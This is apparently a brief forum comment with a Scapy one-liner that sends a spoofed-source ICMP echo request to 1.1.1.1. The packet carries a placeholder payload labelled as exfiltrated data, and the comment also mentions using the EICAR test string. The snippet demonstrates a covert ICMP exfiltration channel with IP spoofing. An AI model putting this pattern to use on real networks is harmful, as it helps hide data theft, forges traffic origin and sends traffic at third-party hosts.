Might be fun to put the EICAR test string here (example with source IP spoofing) :)
from scapy.all import * send(IP(dst="1.1.1.1",src="2.2.2.2")/ICMP(type=8)/ (b"I Exfil Data Very Much"*1000))
Type 8 = ICMP Echo Request (“ping” as the noobs would say)